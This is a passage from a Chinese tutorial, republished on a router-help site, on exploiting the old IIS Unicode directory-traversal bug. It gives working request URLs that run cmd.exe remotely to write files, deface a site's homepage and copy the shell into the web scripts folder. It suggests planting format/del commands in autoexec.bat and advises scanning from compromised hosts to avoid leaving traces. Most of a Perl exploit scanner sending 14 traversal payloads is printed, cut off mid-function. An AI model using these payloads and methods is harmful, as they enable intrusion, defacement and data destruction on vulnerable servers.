争怎路由网:是一个主要分享无线路由器安装设置经验的网站,汇总WiFi常见问题的解决方法。

IIS UNICODE Bug

时间:2024/4/13作者:未知来源:争怎路由网人气:

(,;%<>",如果发现有这些字符就会返回500错误,所以不能直接使用CMD.EEX加管道符等。
  通过
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+badboy+> c:\badboy.txt
  我们可以看到提示 HTTP 500 - 内部服务器错误 Internet Explorer
  经过反复测试,并从上面cmd内容的提示,我们可以会发现"引号字符是可以利用的,中联绿盟的yuange(袁哥)发布过关于这字符的公告,我想也许也是从上面的cmd/?信息中得到提示的,(纯属个人猜想,如果不是,请yuange不要见怪)。
  我们要得到echo与>的结合使用,可以这样操作。
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+badboy+> c:\badboy.txt
  注意,与开始的命令的区别只在于cmd后面多了个"字符。运行后我们可以看到返回这样的结果:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
  英文意思是 CGI错误 具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
  实际上,我们已经把badboy写入到c:\badboy.txt文件里了。
  利用这样的方法我们可以建立.bat .txt .asp .htm .html 等文件,这对于一个存在这漏洞的网站可以说是致命打击的开始,尤其是能写.bat文件如果我们在autoexe.bat里面加入format del等命令时,你想结果会如何??
  回到修改网站页面的问题来。
  比如说想修改c:\inetpub\wwwroot\default.asp
  我们就可以这样在地址栏输入:
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+your+site+has+unicode+bug+> c:\inetpub\wwwroot\default.asp
  那么再看他的首页时,已经被修改为
your site has unicode bug
  事情就那么简单,任何一个普通人都可以通过地址栏对存在该漏洞的目标主机做最简单的HACK行为。
  当然,如果为了方便输入,我们可以把cmd.exe改名为其他名字的文件,比如说c.exe
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\c.exe
  以后使用就可以直接
http://x.x.x.x/scripts/c.exe?/c+echo+badboy+> c:\badboy.txt
六.网络里可得到的一些UNICODE扫描程序的分析
1、简单易用的red.exe
操作平台:win9x、NT4、WIN2K
  该软件可以在一些中文黑客软件收藏库里找到下载。red.exe是中国大陆的一位HACK技术爱好者Redp0wer用C++编写的针对某一IP段的NT主机UNICODE编码漏洞的命令行式扫描工具,该工具扫描速度快,扫描准确。可以在本地和远程NT肉机上执行扫描工作,并产生一个简单的扫描报告RED.txt (仅记录所扫描的IP段的NT主机的IP地址)。该软件对目标NT主机scripts、IISADMPWD、msadc、cgi-bin、_vti_bin目录都做UNICODE编码漏洞的测试。
  如果你仅能在本地机上对某个IP段进行扫描,且是固定IP地址的用户,在使用该软件时,你须注意你的扫描行为实际上也把你自己暴露给对方。且容易被对方抓住把柄状告你有入侵行为。我们可以从事件查看器里发现执行的足迹
应用程序日志c:\WINNT\system32\config\AppEvent.Evt
安全日志C:\WINNT\System32\config\SecEvent.Evt
系统日志C:\WINNT\system32\config\SysEvent.Evt
  我们分析该软件的源码可以看到:GET /%s/%s/winnt/system32/cmd.exe?/c%scopy%s%s:\\winnt\\system32\\cmd.exe%s%s\\red.exe HTTP/1.0\n\n如果从安全扫描工具来说,是不应该对所扫描的目标主机做任何文件的增加和修改。所以,在你还不知道怎么消除你的足迹和利用肉机来执行扫描时,最好不要利用这软件作为你的扫描工具。
2、比较全面的UNICODE工具Uni2.pl
  只要支持PERL,就可以利用这工具来对目标主机进行UNICODE编码漏洞的扫描。该程序可以对所有存在UNICODE编码漏洞的NT版本进行扫描测试。以下为该软件的源程序,具体如何操作就不做详细解说了
#!/usr/bin/perl
#
# Uni2.pl checks a host for the recent IIS unicode vulnerability
# in 14 different ways. Also gives you the browser URL for the
# exploit. Origionally Stealthmode316, modifications by Roeland
#
#
use Socket;
# --------------init
if ($#ARGV<0) {die "UNICODE-CHECK
Example: ./uni.pl www.target.com:80\n";}
#($host,$port)=split(/:/,@ARGV[0]);
($host = @ARGV[0]);
$port = 80;
$target = inet_aton($host);
$flag=0;
# ---------------test method 1
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 2
my @results=sendraw("GET /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 3
my @results=sendraw("GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 4
my @results=sendraw("GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 5
my @results=sendraw("GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 6
my @results=sendraw("GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 7
my @results=sendraw("GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 8
my @results=sendraw("GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 9
my @results=sendraw("GET /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 10
my @results=sendraw("GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 11
my @results=sendraw("GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 12
my @results=sendraw("GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 13
my @results=sendraw("GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 14
my @results=sendraw("GET /msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir HTTP/1.0\r\n\r\n
");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir\n";}}
if ($flag!=1) {
print "$host: Not vulnerable\n";
exit;
}
sub sendraw {
$hbn = gethostbyname($host);
if ($hbn) {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,gethostbyname('tcp')

关键词:IIS UNICODE Bug




Copyright © 2012-2018 争怎路由网(http://www.zhengzen.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版